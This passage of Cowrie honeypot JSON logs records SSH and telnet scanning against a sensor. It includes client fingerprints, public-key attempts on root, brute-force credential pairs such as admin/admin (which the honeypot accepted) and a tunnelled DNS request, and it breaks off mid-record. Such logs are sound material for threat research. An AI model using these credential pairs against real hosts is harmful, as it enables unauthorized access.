{"eventid":"cowrie.login.failed","username":"root","fingerprint":"a7:52:80:a4:5b:de:63:d7:4d:3f:46:fb:5f:d5:1b:13","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCeXcKh01n6qtG6s7TQ9vPuHB5PKUK0GpYbs9hcu1TpeR3iOvtzOscMkG5lQZkRoSd7NdQXZbgpusb2aXRykGPTvrxe+v8sl9T8dn42OND98LcdPjD/8S4AXbftPfYDJ4+KXGne2KsoAPdcdxYXLUvyvbiwNbtSVNBF10St8/FJ+fFIT38PD+57WD7Q5ts84vgBi21AtbOOSVi+QI8L251K6SIyzOjJhBU2fLwF5Otc1FTKp5NIS4DbXOGc+qfMnNvfFyJqRYAAK2+Q3v+x3Bt+UmVuWzybdCMfOAD035lulFn1mNewwlvDHNtf5/Vst6+E8xdc3PkG3Ql6SFiBTE3XjfBnE8u7hVI3BstsN7I9qpB8VJA4ZoNJ8m7T1EIsEGXh8hQp6ELTqcLQufiOn62oTKkc8u5gwPH5n6T7APLL5fXrGenGDk1iqcK8Z7I47Eb1SLRBh9ziZ6+syZJ7LP3IptPEJZSIWxBdcgUYOsshn9c0Elc4LWupPZo3q3EAAbxTSwo6Mlr6p3vn4N3SBP+skPHCAbOiqFnXDluk5ItSigTMUTAoN/9I5gWtBv55VkZRaC59oOve4yEHhHmfNG07Bt9faM3mICCoHdzQ5bt+HecaTO/JwsB/zME7rthin8cYRjDR1MC7VWZjDSjPjqZ2ASEQckIG9TrOfsKxef2Nuw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:21:34.486008Z","src_ip":"217.156.64.228","session":"02b6b71ff951","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4e:76:8c:20:d5:32:f8:0e:89:19:34:0a:dd:bb:78:87","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxrcnTIdsTOv0mexQ5vlAN/C7MjmenbQjk9HO5JduKtnyvnLdE/xaooO7U9x1ivIDgi1k05dmlHH0TOrSACjiaq49qJrE5rHGHcpRB4dWDURGdGNcLe/C0NFz8MSDN5emN2aRtHWV3TXI8nhV2nd4jqCpQ9cVX+/Vy37J49+X2ATGPwtILT+Jg4ibd+BqZUkOcTQ71i/vkQmZjcVt6UI8WP8AxVL+kXnPGrYcEIhGQ6aSa0ZtDnljXeM6/Eda9yCzOMDEhEyGhv5EPBVxj4Teyc5YmpxzjHiaTsHC7sm92nSz1agbh6AUrBwmDEG2K1YxJQLML83ZKvxcP+9JrZKzRw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4e:76:8c:20:d5:32:f8:0e:89:19:34:0a:dd:bb:78:87","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:21:34.644865Z","src_ip":"217.156.64.228","session":"02b6b71ff951","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4e:76:8c:20:d5:32:f8:0e:89:19:34:0a:dd:bb:78:87","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAxrcnTIdsTOv0mexQ5vlAN/C7MjmenbQjk9HO5JduKtnyvnLdE/xaooO7U9x1ivIDgi1k05dmlHH0TOrSACjiaq49qJrE5rHGHcpRB4dWDURGdGNcLe/C0NFz8MSDN5emN2aRtHWV3TXI8nhV2nd4jqCpQ9cVX+/Vy37J49+X2ATGPwtILT+Jg4ibd+BqZUkOcTQ71i/vkQmZjcVt6UI8WP8AxVL+kXnPGrYcEIhGQ6aSa0ZtDnljXeM6/Eda9yCzOMDEhEyGhv5EPBVxj4Teyc5YmpxzjHiaTsHC7sm92nSz1agbh6AUrBwmDEG2K1YxJQLML83ZKvxcP+9JrZKzRw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:21:34.649186Z","src_ip":"217.156.64.228","session":"02b6b71ff951","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7f:fa:1e:61:bf:4c:44:c9:51:81:95:bb:3a:8d:f9:d1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDXsPI/UDs7oDOsXY77t/liKG4QCfxw9AhFbyBtNq1ZPqMCHOmHBcxerVUWj5eHE3Oj1ZrY0BzysedRDNVSqfGRgEDoLvkirlTymbl0XI53OcEGXL5iaZRW+xG5G6/pEFzC8QP4ZwyRhQb1Z0F6FugY1LRSX1egvx1BsUxy1Kiol7DUrpRxrqcy+lP4Vo70Fy+6mkFw/XFA4VtIokInT4UjI8GHjgsVEZZi9Lxbq95ifaKKu4nzMkzhxIkGjKEPs9VYL2moKHjvmKUpWIGkQB/hGumRAEKhy5blmpHLRLghYC06l9kUwh+3jHp0V69XDa7RtqsMjAOQ4fXo5nwwpYFRorLKmftcfKlFy3KeOxoP9BS84YQJ7gStHY6akBgIw8u4BK2Hofn4i9Ej2uV8Y5ZjzQtWsYqebjl9irNccjmAvLG+9VTwAkJiE7a4SpG9KG8gnOvilFumBmy4KdXMSFGPp6VXghDUjbttbT6dQ31BXt9rpuWt9wcmMCuG6A6e0JctTt3wKWBaCUbXlmhrX2/14eipjoz0oWlkFVV7i5JSFZuhI13SSbviWytnU2Ro9jiow5UzKhhjjuU8pfv9RoWBEPQiY1o+wWCZ7h244wYDbjPLX3W+SwJAQlUeCA0ntRVDX+Y6RWE6ZGKCQLwBNR0nZu3hG4TECiVJIC4Y1hEFEw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7f:fa:1e:61:bf:4c:44:c9:51:81:95:bb:3a:8d:f9:d1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:21:34.781644Z","src_ip":"217.156.64.228","session":"02b6b71ff951","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7f:fa:1e:61:bf:4c:44:c9:51:81:95:bb:3a:8d:f9:d1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDXsPI/UDs7oDOsXY77t/liKG4QCfxw9AhFbyBtNq1ZPqMCHOmHBcxerVUWj5eHE3Oj1ZrY0BzysedRDNVSqfGRgEDoLvkirlTymbl0XI53OcEGXL5iaZRW+xG5G6/pEFzC8QP4ZwyRhQb1Z0F6FugY1LRSX1egvx1BsUxy1Kiol7DUrpRxrqcy+lP4Vo70Fy+6mkFw/XFA4VtIokInT4UjI8GHjgsVEZZi9Lxbq95ifaKKu4nzMkzhxIkGjKEPs9VYL2moKHjvmKUpWIGkQB/hGumRAEKhy5blmpHLRLghYC06l9kUwh+3jHp0V69XDa7RtqsMjAOQ4fXo5nwwpYFRorLKmftcfKlFy3KeOxoP9BS84YQJ7gStHY6akBgIw8u4BK2Hofn4i9Ej2uV8Y5ZjzQtWsYqebjl9irNccjmAvLG+9VTwAkJiE7a4SpG9KG8gnOvilFumBmy4KdXMSFGPp6VXghDUjbttbT6dQ31BXt9rpuWt9wcmMCuG6A6e0JctTt3wKWBaCUbXlmhrX2/14eipjoz0oWlkFVV7i5JSFZuhI13SSbviWytnU2Ro9jiow5UzKhhjjuU8pfv9RoWBEPQiY1o+wWCZ7h244wYDbjPLX3W+SwJAQlUeCA0ntRVDX+Y6RWE6ZGKCQLwBNR0nZu3hG4TECiVJIC4Y1hEFEw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:21:34.785100Z","src_ip":"217.156.64.228","session":"02b6b71ff951","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"71:74:13:61:b5:53:8c:29:74:f4:46:20:ba:2f:94:fc","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBwHmL7MeAGPlXBhoY8dy7qKdULUi+kRfkgWew/HBSpA","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 71:74:13:61:b5:53:8c:29:74:f4:46:20:ba:2f:94:fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:21:34.956767Z","src_ip":"217.156.64.228","session":"02b6b71ff951","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"71:74:13:61:b5:53:8c:29:74:f4:46:20:ba:2f:94:fc","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBwHmL7MeAGPlXBhoY8dy7qKdULUi+kRfkgWew/HBSpA","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:21:34.960420Z","src_ip":"217.156.64.228","session":"02b6b71ff951","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:21:35.091153Z","src_ip":"217.156.64.228","session":"02b6b71ff951","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.20175266265869,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:22:00.699831Z","src_ip":"172.81.62.90","session":"7d015903152d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":45254,"dst_ip":"10.17.0.5","dst_port":22,"session":"67f883c557c9","protocol":"ssh","message":"New connection: 87.251.64.176:45254 (10.17.0.5:22) [session: 67f883c557c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:22:00.966907Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:22:00.974500Z","src_ip":"87.251.64.176","session":"67f883c557c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:22:01.062824Z","src_ip":"87.251.64.176","session":"67f883c557c9","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:22:01.432376Z","src_ip":"87.251.64.176","session":"67f883c557c9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:22:01.549098Z","session":"67f883c557c9","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:22:01.664077Z","src_ip":"87.251.64.176","session":"67f883c557c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":33304,"dst_ip":"159.203.135.109","dst_port":22,"session":"d45e6da33f9e","protocol":"ssh","message":"New connection: 194.59.206.2:33304 (159.203.135.109:22) [session: d45e6da33f9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:22:01.753747Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:22:01.758730Z","src_ip":"194.59.206.2","session":"d45e6da33f9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:22:01.778614Z","src_ip":"87.251.64.176","session":"67f883c557c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:22:01.867113Z","src_ip":"194.59.206.2","session":"d45e6da33f9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:22:01.988388Z","src_ip":"194.59.206.2","session":"d45e6da33f9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.3303337097168,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:22:04.849604Z","src_ip":"172.81.62.90","session":"951a244db059","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.233.85.71","src_port":40628,"dst_ip":"10.17.0.5","dst_port":22,"session":"a49856a5623b","protocol":"ssh","message":"New connection: 37.233.85.71:40628 (10.17.0.5:22) [session: a49856a5623b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:22:12.461435Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:22:12.465370Z","src_ip":"37.233.85.71","session":"a49856a5623b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:22:12.578156Z","src_ip":"37.233.85.71","session":"a49856a5623b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tematema","message":"login attempt [root/tematema] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:22:12.918655Z","src_ip":"37.233.85.71","session":"a49856a5623b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:22:14.033966Z","src_ip":"37.233.85.71","session":"a49856a5623b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"132.148.22.172","src_port":37382,"dst_ip":"10.17.0.5","dst_port":23,"session":"9fa46dd76a0a","protocol":"telnet","message":"New connection: 132.148.22.172:37382 (10.17.0.5:23) [session: 9fa46dd76a0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:22:51.709502Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.184","src_port":39524,"dst_ip":"10.17.0.5","dst_port":22,"session":"04c6a7bec1cb","protocol":"ssh","message":"New connection: 80.94.92.184:39524 (10.17.0.5:22) [session: 04c6a7bec1cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:22:58.167860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:22:58.376395Z","src_ip":"80.94.92.184","session":"04c6a7bec1cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:22:58.453039Z","src_ip":"80.94.92.184","session":"04c6a7bec1cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456789","message":"login attempt [solv/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:22:59.664088Z","src_ip":"80.94.92.184","session":"04c6a7bec1cb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:23:01.044235Z","src_ip":"80.94.92.184","session":"04c6a7bec1cb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":39856,"dst_ip":"159.203.135.109","dst_port":23,"session":"50481ce6d73a","protocol":"telnet","message":"New connection: 172.81.62.90:39856 (159.203.135.109:23) [session: 50481ce6d73a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:23:18.526628Z"}
{"eventid":"cowrie.session.connect","src_ip":"132.148.22.172","src_port":46622,"dst_ip":"10.17.0.5","dst_port":23,"session":"c2320fb863d7","protocol":"telnet","message":"New connection: 132.148.22.172:46622 (10.17.0.5:23) [session: c2320fb863d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:23:20.353635Z"}
{"eventid":"cowrie.session.closed","duration":30.33086395263672,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:23:22.040227Z","src_ip":"132.148.22.172","session":"9fa46dd76a0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":58042,"dst_ip":"10.17.0.5","dst_port":22,"session":"90dcbebcf8ad","protocol":"ssh","message":"New connection: 51.250.105.222:58042 (10.17.0.5:22) [session: 90dcbebcf8ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:23:41.270537Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T04:23:41.274528Z","src_ip":"51.250.105.222","session":"90dcbebcf8ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 